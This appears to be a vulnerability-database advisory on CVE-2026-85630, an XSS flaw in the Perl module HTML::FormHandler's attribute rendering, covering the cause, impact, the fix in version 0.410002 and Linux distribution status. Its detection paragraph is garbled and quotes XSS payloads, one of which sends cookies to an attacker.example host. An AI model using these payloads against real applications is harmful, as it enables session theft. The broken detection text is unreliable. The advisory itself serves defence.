
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-85630 is a Cross-Site Scripting (XSS) vulnerability in the Perl module HTML::FormHandler affecting all versions before 0.410002. The flaw exists in the process_attrs method within HTML::FormHandler::Render::Util, which renders HTML field attributes without properly escaping user-influenced values. It was disclosed on September 8, 2026, by the CPAN Security Group (CPANSec) via the oss-security mailing list, and a patch was released in version 0.410002. The vulnerability carries a CVSS v3.1 base score of 6.1 (Medium) (GitHub Advisory, oss-security).
The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically in the process_attrs function in lib/HTML/FormHandler/Render/Util.pm, which constructs HTML attribute strings using sprintf('%s="%s"', $attr, $value) without encoding the value. When application fields or field labels incorporate data from external sources (e.g., database values, user input), an attacker can inject a double-quote character to break out of the attribute context and inject arbitrary HTML attributes or JavaScript event handlers. The RadioGroup widget is a concrete example, as it calls process_attrs via render_option and wrap_radio. The fix, committed by Alexander Hartmaier on September 4, 2026, applies HTML::Entities::encode_entities($value, '"&') to properly encode double-quote and ampersand characters in attribute values (GitHub Patch, oss-security).
Successful exploitation allows an attacker to inject arbitrary JavaScript into pages rendered by the affected application, enabling stored or reflected XSS attacks depending on how field attribute data is sourced. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of authenticated users, and defacement of web pages. Confidentiality and integrity are both partially impacted; availability is not affected (GitHub Advisory).
No public proof-of-concept exploit code or in-the-wild exploitation has been reported as of the disclosure date. The NVD SSVC assessment classifies exploitation as "none" and the attack as non-automatable, as user interaction (a victim visiting or interacting with a crafted page) is required. The EPSS score is approximately 0.199%, placing it in the 17th percentile for exploitation likelihood. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (GitHub Advisory, Feedly).
" onclick="alert(document.cookie) or " onmouseover="fetch('https://attacker.example/steal?c='+document.cookie).%22) or JavaScript event handler keywords (onclick, onerror, onmouseover) in form field parameters.", <script>, or JavaScript event handler strings in columns used to populate form field attributes.Upgrade HTML::FormHandler to version 0.410002 or later, which encodes HTML attribute values using HTML::Entities::encode_entities in the process_attrs method. No configuration-based workaround is available; the fix requires a code-level change. Applications that cannot upgrade immediately should audit all form fields where attribute values are derived from external data and manually apply HTML attribute-context encoding before passing values to FormHandler (oss-security, MetaCPAN Release).
The vulnerability was responsibly disclosed by Robert Rothenberg on behalf of the CPAN Security Group (CPANSec) via the oss-security mailing list on September 8, 2026. An openSUSE security announcement was also issued, indicating downstream Linux distribution maintainers are tracking the issue for package updates (oss-security).
Fix availability across major Linux distributions and their releases.
bookworm
libhtml-formhandler-perl
sid
libhtml-formhandler-perl: 0.410002-1
trixie
libhtml-formhandler-perl
bionic (esm-apps)
libhtml-formhandler-perl
devel
libhtml-formhandler-perl
focal (esm-apps)
libhtml-formhandler-perl
jammy
libhtml-formhandler-perl
jammy (esm-apps)
libhtml-formhandler-perl
noble
libhtml-formhandler-perl
noble (esm-apps)
libhtml-formhandler-perl
resolute
libhtml-formhandler-perl
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."